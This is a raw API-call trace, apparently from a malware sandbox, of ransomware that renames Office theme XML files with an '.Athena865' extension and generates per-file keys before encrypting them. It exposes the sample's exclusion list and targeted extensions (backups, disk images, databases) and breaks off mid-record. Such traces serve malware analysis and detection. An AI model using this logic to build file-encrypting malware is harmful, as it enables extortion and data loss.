ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0136.432] lstrcmpiW (lpString1="Origin.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.432] lstrcmpiW (lpString1="Origin.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.432] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Origin.xml" | out: lpString1="Origin.xml") returned="Origin.xml" [0136.432] lstrlenW (lpString="Origin.xml") returned 10 [0136.432] lstrlenW (lpString="Athena865") returned 9 [0136.433] lstrcmpiW (lpString1="rigin.xml", lpString2="Athena865") returned 1 [0136.433] lstrlenW (lpString=".dll") returned 4 [0136.433] lstrcmpiW (lpString1="Origin.xml", lpString2=".dll") returned 1 [0136.433] lstrlenW (lpString=".lnk") returned 4 [0136.433] lstrcmpiW (lpString1="Origin.xml", lpString2=".lnk") returned 1 [0136.433] lstrlenW (lpString=".ini") returned 4 [0136.433] lstrcmpiW (lpString1="Origin.xml", lpString2=".ini") returned 1 [0136.433] lstrlenW (lpString=".sys") returned 4 [0136.433] lstrcmpiW (lpString1="Origin.xml", lpString2=".sys") returned 1 [0136.433] lstrlenW (lpString="Origin.xml") returned 10 [0136.433] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.Athena865") returned 86 [0136.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.athena865"), dwFlags=0x1) returned 1 [0136.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.439] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=961) returned 1 [0136.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.439] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.440] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.440] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.440] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.442] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.443] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.444] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.444] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.445] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0136.445] lstrcmpiW (lpString1="Paper.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.445] lstrcmpiW (lpString1="Paper.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.445] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Paper.xml" | out: lpString1="Paper.xml") returned="Paper.xml" [0136.445] lstrlenW (lpString="Paper.xml") returned 9 [0136.445] lstrlenW (lpString="Athena865") returned 9 [0136.445] lstrlenW (lpString=".dll") returned 4 [0136.445] lstrcmpiW (lpString1="Paper.xml", lpString2=".dll") returned 1 [0136.445] lstrlenW (lpString=".lnk") returned 4 [0136.445] lstrcmpiW (lpString1="Paper.xml", lpString2=".lnk") returned 1 [0136.445] lstrlenW (lpString=".ini") returned 4 [0136.445] lstrcmpiW (lpString1="Paper.xml", lpString2=".ini") returned 1 [0136.445] lstrlenW (lpString=".sys") returned 4 [0136.445] lstrcmpiW (lpString1="Paper.xml", lpString2=".sys") returned 1 [0136.445] lstrlenW (lpString="Paper.xml") returned 9 [0136.445] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.Athena865") returned 85 [0136.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.athena865"), dwFlags=0x1) returned 1 [0136.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.451] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=960) returned 1 [0136.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.454] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.461] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.461] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.461] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x17c [0136.465] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0136.469] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.482] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.482] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.488] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.488] CloseHandle (hObject=0x17c) returned 1 [0136.489] CloseHandle (hObject=0x154) returned 1 [0136.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.492] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0136.492] lstrcmpiW (lpString1="Perspective.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.492] lstrcmpiW (lpString1="Perspective.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.492] lstrcmpiW (lpString1="Perspective.xml", lpString2=".") returned 1 [0136.492] lstrcmpiW (lpString1="Perspective.xml", lpString2="..") returned 1 [0136.492] lstrcmpiW (lpString1="Perspective.xml", lpString2="windows") returned -1 [0136.492] lstrcmpiW (lpString1="Perspective.xml", lpString2="bootmgr") returned 1 [0136.492] lstrcmpiW (lpString1="Perspective.xml", lpString2="temp") returned -1 [0136.492] lstrcmpiW (lpString1="Perspective.xml", lpString2="pagefile.sys") returned 1 [0136.492] lstrcmpiW (lpString1="Perspective.xml", lpString2="boot") returned 1 [0136.493] lstrcmpiW (lpString1="Perspective.xml", lpString2="ids.txt") returned 1 [0136.493] lstrcmpiW (lpString1="Perspective.xml", lpString2="ntuser.dat") returned 1 [0136.493] lstrcmpiW (lpString1="Perspective.xml", lpString2="perflogs") returned 1 [0136.493] lstrcmpiW (lpString1="Perspective.xml", lpString2="MSBuild") returned 1 [0136.493] lstrlenW (lpString="Perspective.xml") returned 15 [0136.493] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Perspective.xml" | out: lpString1="Perspective.xml") returned="Perspective.xml" [0136.493] lstrlenW (lpString="Perspective.xml") returned 15 [0136.493] lstrlenW (lpString="Athena865") returned 9 [0136.493] lstrcmpiW (lpString1="ctive.xml", lpString2="Athena865") returned 1 [0136.494] lstrlenW (lpString=".dll") returned 4 [0136.494] lstrcmpiW (lpString1="Perspective.xml", lpString2=".dll") returned 1 [0136.494] lstrlenW (lpString=".lnk") returned 4 [0136.494] lstrcmpiW (lpString1="Perspective.xml", lpString2=".lnk") returned 1 [0136.495] lstrlenW (lpString=".ini") returned 4 [0136.495] lstrcmpiW (lpString1="Perspective.xml", lpString2=".ini") returned 1 [0136.495] lstrlenW (lpString=".sys") returned 4 [0136.495] lstrcmpiW (lpString1="Perspective.xml", lpString2=".sys") returned 1 [0136.495] lstrlenW (lpString="Perspective.xml") returned 15 [0136.495] lstrlenW (lpString="bak") returned 3 [0136.495] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.496] lstrlenW (lpString="ba_") returned 3 [0136.496] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.496] lstrlenW (lpString="dbb") returned 3 [0136.496] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.496] lstrlenW (lpString="vmdk") returned 4 [0136.497] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.497] lstrlenW (lpString="rar") returned 3 [0136.497] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.497] lstrlenW (lpString="zip") returned 3 [0136.497] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.497] lstrlenW (lpString="tgz") returned 3 [0136.497] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.497] lstrlenW (lpString="vbox") returned 4 [0136.497] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.497] lstrlenW (lpString="vdi") returned 3 [0136.497] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.497] lstrlenW (lpString="vhd") returned 3 [0136.497] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.497] lstrlenW (lpString="vhdx") returned 4 [0136.497] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.497] lstrlenW (lpString="avhd") returned 4 [0136.497] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.499] lstrlenW (lpString="db") returned 2 [0136.499] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.499] lstrlenW (lpString="db2") returned 3 [0136.499] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.499] lstrlenW (lpString="db3") returned 3 [0136.499] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.499] lstrlenW (lpString="dbf") returned 3 [0136.499] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.499] lstrlenW (lpString="mdf") returned 3 [0136.500] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.500] lstrlenW (lpString="mdb") returned 3 [0136.500] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.500] lstrlenW (lpString="sql") returned 3 [0136.500] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.500] lstrlenW (lpString="sqlite") returned 6 [0136.500] lstrcmpiW (lpString1="ve.xml", lpString2="sqlite") returned 1 [0136.500] lstrlenW (lpString="sqlite3") returned 7 [0136.500] lstrcmpiW (lpString1="ive.xml", lpString2="sqlite3") returned -1 [0136.501] lstrlenW (lpString="sqlitedb") returned 8 [0136.501] lstrcmpiW (lpString1="tive.xml", lpString2="sqlitedb") returned 1 [0136.501] lstrlenW (lpString="xml") returned 3 [0136.502] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.502] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.Athena865") returned 91 [0136.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.athena865"), dwFlags=0x1) returned 1 [0136.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.508] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=966) returned 1 [0136.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.509] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.518] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.518] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.528] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.532] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.542] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.551] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.551] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.557] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.560] CloseHandle (hObject=0x17c) returned 1 [0136.562] CloseHandle (hObject=0x154) returned 1 [0136.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.567] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0136.568] lstrcmpiW (lpString1="Pushpin.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.568] lstrcmpiW (lpString1="Pushpin.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.569] lstrcmpiW (lpString1="Pushpin.xml", lpString2=".") returned 1 [0136.570] lstrcmpiW (lpString1="Pushpin.xml", lpString2="..") returned 1 [0136.571] lstrcmpiW (lpString1="Pushpin.xml", lpString2="windows") returned -1 [0136.571] lstrcmpiW (lpString1="Pushpin.xml", lpString2="bootmgr") returned 1 [0136.571] lstrcmpiW (lpString1="Pushpin.xml", lpString2="temp") returned -1 [0136.571] lstrcmpiW (lpString1="Pushpin.xml", lpString2="pagefile.sys") returned 1 [0136.571] lstrcmpiW (lpString1="Pushpin.xml", lpString2="boot") returned 1 [0136.571] lstrcmpiW (lpString1="Pushpin.xml", lpString2="ids.txt") returned 1 [0136.571] lstrcmpiW (lpString1="Pushpin.xml", lpString2="ntuser.dat") returned 1 [0136.571] lstrcmpiW (lpString1="Pushpin.xml", lpString2="perflogs") returned 1 [0136.571] lstrcmpiW (lpString1="Pushpin.xml", lpString2="MSBuild") returned 1 [0136.571] lstrlenW (lpString="Pushpin.xml") returned 11 [0136.571] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Pushpin.xml" | out: lpString1="Pushpin.xml") returned="Pushpin.xml" [0136.572] lstrlenW (lpString="Pushpin.xml") returned 11 [0136.572] lstrlenW (lpString="Athena865") returned 9 [0136.572] lstrcmpiW (lpString1="shpin.xml", lpString2="Athena865") returned 1 [0136.573] lstrlenW (lpString=".dll") returned 4 [0136.573] lstrcmpiW (lpString1="Pushpin.xml", lpString2=".dll") returned 1 [0136.573] lstrlenW (lpString=".lnk") returned 4 [0136.573] lstrcmpiW (lpString1="Pushpin.xml", lpString2=".lnk") returned 1 [0136.573] lstrlenW (lpString=".ini") returned 4 [0136.573] lstrcmpiW (lpString1="Pushpin.xml", lpString2=".ini") returned 1 [0136.573] lstrlenW (lpString=".sys") returned 4 [0136.573] lstrcmpiW (lpString1="Pushpin.xml", lpString2=".sys") returned 1 [0136.573] lstrlenW (lpString="Pushpin.xml") returned 11 [0136.574] lstrlenW (lpString="bak") returned 3 [0136.574] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.574] lstrlenW (lpString="ba_") returned 3 [0136.574] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.574] lstrlenW (lpString="dbb") returned 3 [0136.574] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.574] lstrlenW (lpString="vmdk") returned 4 [0136.575] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.575] lstrlenW (lpString="rar") returned 3 [0136.575] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.576] lstrlenW (lpString="zip") returned 3 [0136.576] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.577] lstrlenW (lpString="tgz") returned 3 [0136.577] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.578] lstrlenW (lpString="vbox") returned 4 [0136.579] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.579] lstrlenW (lpString="vdi") returned 3 [0136.579] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.579] lstrlenW (lpString="vhd") returned 3 [0136.579] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.579] lstrlenW (lpString="vhdx") returned 4 [0136.579] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.579] lstrlenW (lpString="avhd") returned 4 [0136.581] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.582] lstrlenW (lpString="db") returned 2 [0136.582] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.582] lstrlenW (lpString="db2") returned 3 [0136.583] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.584] lstrlenW (lpString="db3") returned 3 [0136.584] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.584] lstrlenW (lpString="dbf") returned 3 [0136.585] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.585] lstrlenW (lpString="mdf") returned 3 [0136.585] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.585] lstrlenW (lpString="mdb") returned 3 [0136.585] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.586] lstrlenW (lpString="sql") returned 3 [0136.586] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.586] lstrlenW (lpString="sqlite") returned 6 [0136.586] lstrcmpiW (lpString1="in.xml", lpString2="sqlite") returned -1 [0136.586] lstrlenW (lpString="sqlite3") returned 7 [0136.586] lstrcmpiW (lpString1="pin.xml", lpString2="sqlite3") returned -1 [0136.587] lstrlenW (lpString="sqlitedb") returned 8 [0136.587] lstrcmpiW (lpString1="hpin.xml", lpString2="sqlitedb") returned -1 [0136.588] lstrlenW (lpString="xml") returned 3 [0136.588] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.588] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.Athena865") returned 87 [0136.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.athena865"), dwFlags=0x1) returned 1 [0136.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.616] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=962) returned 1 [0136.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.620] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.621] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.621] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.621] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.622] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.623] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.623] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.623] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.624] RtlAllocateHeap 